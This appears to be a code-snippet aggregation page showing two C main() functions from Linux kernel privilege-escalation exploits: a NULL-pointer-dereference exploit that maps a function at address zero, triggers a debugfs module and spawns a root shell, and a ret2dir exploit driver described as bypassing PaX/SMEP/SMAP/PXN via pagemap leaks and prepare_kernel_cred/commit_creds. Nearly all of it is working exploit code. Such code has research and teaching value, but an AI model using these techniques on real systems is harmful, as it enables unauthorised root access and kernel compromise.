Пример #1
0
int main() {
  uid = getuid(); gid = getgid();
  setresuid(uid, uid, uid);
  setresgid(gid, gid, gid);

  prepare_kernel_cred = get_ksym("prepare_kernel_cred");
  commit_creds        = get_ksym("commit_creds");

  /* Put a pointer to our function at NULL */
  mmap(0, 4096, PROT_READ|PROT_WRITE,
       MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
  void (**fn)(void) = NULL;
  *fn = get_root;

  /* Trigger the kernel */
  int fd = open("/sys/kernel/debug/nullderef/null_call", O_WRONLY);
  write(fd, "1", 1);
  close(fd);

  if (getuid() == 0) {
      char *argv[] = {"/bin/sh", NULL};
      execve("/bin/sh", argv, NULL);
  }

  fprintf(stderr, "Something went wrong?\n");
  return 1;
}
Пример #2
0
/*
 * w00t
 *
 * demonstrates how PaX/SMEP/SMAP/PXN can be bypassed by launching
 * a ret2dir attack for executing user-provided code, in kernel mode,
 * *without* crossing the kernel/user space boundary (i.e., perform
 * a ret2usr attack) or explicitly injecting the code in kernel memory
 *
 * The exploitation procedure builds upon the following:
 * 	i. a vulnerability that allows overwriting a kernel-level function/data
 * 		pointer with arbitrary user-controlled values (we use the
 * 		`kernwrite' module to inject a vulnerability)
 *
 * 	ii. page frame (PFN) information that is leaked from /proc/<pid>/pagemap
 *
 * 	iii. the fact that physical memory (RAM) is direct-mapped inside the
 * 		kernel space starting from PAGE_OFFSET (0xC0000000,
 * 		0xFFFF880000000000)
 *
 * @argc:	number of command-line options
 * @argv:	command-line options
 * returns:	0 on success or >=1 on failure
 */
int
main(int argc, char **argv)
{
	int		mode	= MODE_UNSPEC;	/* 0 = fptr, 1 = dptr 	*/
						/* kernel addresses	*/
	unsigned long	paddr	= 0;		/* prepare_kernel_cred 	*/
	unsigned long	caddr	= 0;		/* commit_creds 	*/

	long psize;				/* page size		*/

	/* getopt stuff */
	int opt;				/* option		*/
	int long_opt_indx	= 0;		/* long option index	*/

	/* long options */
	struct option long_options[] = {
		{"fptr",	0, NULL, 'f'},	/* -f / --fptr		*/
		{"dptr",	0, NULL, 'd'},	/* -d / --dptr		*/
		{"rop",		0, NULL, 'r'},	/* -r / --rop		*/
		{"paddr",	1, NULL, 'p'},	/* -p / --paddr		*/
		{"caddr",	1, NULL, 'c'},	/* -c / --caddr		*/
		{"help",	0, NULL, 'h'},	/* -h / --help		*/
		{"version",	0, NULL, 'v'},	/* -v / --version	*/
		{NULL,		0, NULL, 0}};	/* terminating item	*/


	/* arguments parsing */
	while ((opt = getopt_long(argc,
				argv,
				":hvfdrp:c:",
				long_options,
				&long_opt_indx)) != -1) {
		switch(opt) {
			case 'f': /* -f / --fptr */
				mode	= MODE_FPTR;
				break;
			case 'd': /* -d / --dptr */
				mode	= MODE_DPTR;
				break;
			case 'r': /* -r / --rop */
				mode	= MODE_ROP;
				break;
			case 'p': /* -p / --paddr */
				paddr	= strtoul(optarg, NULL, 0);
				break;
			case 'c': /* -c / --caddr */
				caddr	= strtoul(optarg, NULL, 0);
				break;
			case 'h': /* help */
				help();
				goto done;
				break;	/* not reached */
			case 'v': /* version info */
				version();
				goto done;
				break;	/* not reached */
			case '?': /* illegal option */
				errx(1,
					"[Fail] illegal option -- %s",
					(optind == 0) 		?
					argv[long_opt_indx] 	:
					argv[optind - 1]);
				break;
			case ':': /* missing argument */
				errx(1,
				"[Fail] option requires an argument -- %s",
					(optind == 0) 		?
					argv[long_opt_indx] 	:
					argv[optind - 1]);
				break;
			default: /* not reached */
				break; /* make the compiler happy */
		}
	} 
	
	/* get the page size */
	if ((psize = sysconf(_SC_PAGESIZE)) == -1)
		/* failed */
		errx(2,
			"[Fail] couldn't read page size -- %s",
			strerror(errno));
	
	/* validate arguments */

	/* fptr vs. dptr */
	if (mode == MODE_UNSPEC) {
		/* verbose */
		warnx("[Warn] `mode' was not specified -- using -f (--fptr)");
		/* set mode to fptr */
		mode = MODE_FPTR;
	}
	
	/* address for `prepare_kernel_cred' */
	if ((paddr < PAGE_OFFSET) && (mode != MODE_ROP)) {
		/* verbose */
		warnx("[Warn] invalid `prepare_kernel_cred' address -- %#lx",
				paddr);

		/* try to auto-detect it */
		if ((paddr = get_ksym("prepare_kernel_cred")) != 0)
			/* yes! */
			fprintf(stdout,
				"[*] `prepare_kernel_cred' at %#lx\n",
				paddr);
		else
			/* failed */
			errx(3, "[Fail] couldn't determine the address of `prepare_kernel_cred'");
	}
	
	/* address for `commit_creds' */
	if ((caddr < PAGE_OFFSET) && (mode != MODE_ROP)) {
		/* verbose */
		warnx("[Warn] invalid `commit_creds' address -- %#lx", caddr);
	
		/* try to auto-detect it */
		if ((caddr = get_ksym("commit_creds")) != 0)
			/* yes! */
			fprintf(stdout,
				"[*] `commit_creds' at %#lx\n", caddr);
		else
			/* failed */
			errx(3, "[Fail] couldn't determine the address of `commit_creds'");
	}
	
	/* differentiate based on the supplied mode */
	switch (mode) {
		case MODE_FPTR:	/* -f / --fptr supplied */
			p0wn_fptr(psize, paddr, caddr);
			break;
		case MODE_DPTR:	/* -d / --dptr supplied */
			p0wn_dptr(psize, paddr, caddr);
			break;
#if	defined(__i386__)
		case MODE_ROP:	/* -r / --rop supplied */
			p0wn_dptr_rop(psize);
			break;
#endif
		default:	/* not reached */
			break;	/* make the compiler happy */
	}

done:	/* done; return with success */
	return EXIT_SUCCESS;
}